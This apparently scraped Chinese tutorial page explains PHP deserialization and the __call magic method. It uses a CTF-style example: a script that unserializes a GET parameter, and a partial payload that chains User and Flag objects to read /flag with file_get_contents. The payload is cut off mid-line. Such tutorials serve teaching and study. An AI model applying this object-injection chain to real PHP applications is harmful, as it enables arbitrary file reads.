当前位置: 首页 > news >正文

【php反序列化介绍与常见触发方法】

命令执行函数

请添加图片描述

__call和__wakeup问题

__call

请添加图片描述
看个例题:

<?phpclass Flag{public $file;function __construct() {$this -> file = "hello.php";}public function test() {return file_get_contents($this -> file);}
}class User {public $username = "admin";public $func;public function __call($name, $args) {echo $this -> func -> $name();}
}if (isset($_GET['a'])) {$a = unserialize($_GET['a']);$a->test();
} else {highlight_file(__FILE__);
}

__call方法,__call方法是当调用了对象中的不存在的方法导致的,这里就是调用了test方法导致的,User对象中并没有test方法,这里只需要把User->func设置成为Flag对象就能通过__call方法去调用到它的test方法

先把有的类复制下来,其他用不到的可以省略掉,hello.php改成/flag,因为一般flag都在根目录下:
请添加图片描述
这里的$a -> func = $b;把a的$func属性指向Flag,那么当test函数不存在执行__call时

__call($name, $args)中的name是"test",因为func = b,所以$this->func->test(),执行的是$this->Flag->test()

请添加图片描述
完整 payload

class Flag{public $file;function __construct() {$this -> file = "hello.php";}public function test() {return file_get_contents($this -> file);}
}class User {public $username = "admin";public $func;public function __call($name, $args) {echo $this -> func -> $name();}
}$a = new 
http://www.lryc.cn/news/622988.html

相关文章:

  • Linux 多线程:线程回收策略 线程间通信(互斥锁详解)
  • MyBatis 的 SQL 拦截器:原理、实现与实践
  • 【昇腾】单张48G Atlas 300I Duo推理卡MindIE+WebUI方式跑7B大语言模型_20250816
  • Wi-Fi 7 将如何重塑互联工作场所
  • Python脚本开发-统计Rte中未连接的Port
  • Python---异常链(Exception Chaining)
  • 完整设计 之 定稿 之:后现代元宇宙九宫格(重命名)-腾讯元宝答问
  • 线性代数之两个宇宙文明关于距离的对话
  • 分享一个大数据的源码实现 基于Hadoop的二手车市场数据分析与可视化 基于Spark的懂车帝二手车交易数据可视化分析系统
  • Transformer浅说
  • MySQL完整重置密码流程(针对 macOS)
  • 如何使用嵌入模型创建本地知识库Demo
  • MongoDB 聚合提速 3 招:$lookup 管道、部分索引、时间序列集合(含可复现实验与 explain 统计)
  • Tomcat类加载器原理简单介绍
  • AI热点周报(8.10~8.16):AI界“冰火两重天“,GPT-5陷入热议,DeepSeek R2模型训练受阻?
  • 服务器可以ping通,但部署的网站打不开
  • uniapp:微信小程序使用Canvas 和Canvas 2D绘制图形
  • nginx下载地址:aarch64
  • Scala面试题及详细答案100道(11-20)-- 函数式编程基础
  • 狗品种识别数据集:1k+图像,6个类别,yolo标注完整
  • linux docker neo4j 导出 (windows 导入)
  • duiLib 实现鼠标拖动状态栏时,窗口跟着拖动
  • 模型量化(Model Quantization)
  • 解决 Windows 下运行 MCP 脚本弹出 WSH 错误窗口的问题 | Windows Script Host
  • 【数据分析】比较SparCC、Pearson和Spearman相关性估计方法在合成组学数据上的表现
  • Footej Camera 2:专业级摄影体验,尽在掌中
  • 《代码重生:杨蓉与62.webp》
  • 2024-2025华为ICT大赛中国区 实践赛昇腾AI赛道(高职组)全国总决赛 理论部分真题+解析
  • 基本电子元件:金属氧化膜电阻器
  • 测试工程师的AI转型指南:从工具使用到测试策略重构